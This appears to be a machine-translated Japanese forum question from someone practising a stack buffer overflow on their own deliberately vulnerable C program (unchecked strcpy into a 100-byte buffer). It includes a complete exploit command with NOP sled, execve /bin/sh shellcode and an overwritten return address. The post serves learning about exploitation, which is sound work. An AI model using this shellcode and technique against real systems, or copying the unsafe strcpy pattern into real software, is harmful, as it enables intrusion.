プログラム内で起動した後にシェルをアクティブに保つ方法は?

プログラム内で起動した後にシェルをアクティブに保つ方法は?

プログラミングとLinuxが混在しているので、この質問をどこに尋ねるべきかわかりませんが、ここが正しい場所であることを願っています。単純なプログラムを書いたところ、バッファがオーバーフローしました。私は1つを除いてすべてのステップを完了しました。シェルコードを実行すると、/bin/bash実行後に入力がないためすぐに閉じます。私は./vuln arg argシェルコードを含むこのようなパラメータを使って私のプログラムを呼び出します。私が理解しているように、シェルには少しの入力が必要ですが、脆弱なプログラムが完了すると標準入力を受け取る必要があるパイプが閉じ、シェルも閉じます。次のメッセージを受け取りました。

/bin/sh: line 1: warning: command substitution: ignored null byte in input

私のCコードは次のとおりです(助けになる場合)。

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}

シェルを開くために使用するコマンドは次のとおりです。

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")

私は努力しました:

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)") | cat

;代わりに、いくつかの異なるバリエーションを使用しても|何も機能しませんでした。実行したばかりのエラーです。./vuln my_payload

[Detaching after fork from child process 4010]
bash: warning: command substitution: ignored null byte in input
[Detaching after fork from child process 4011]

関連情報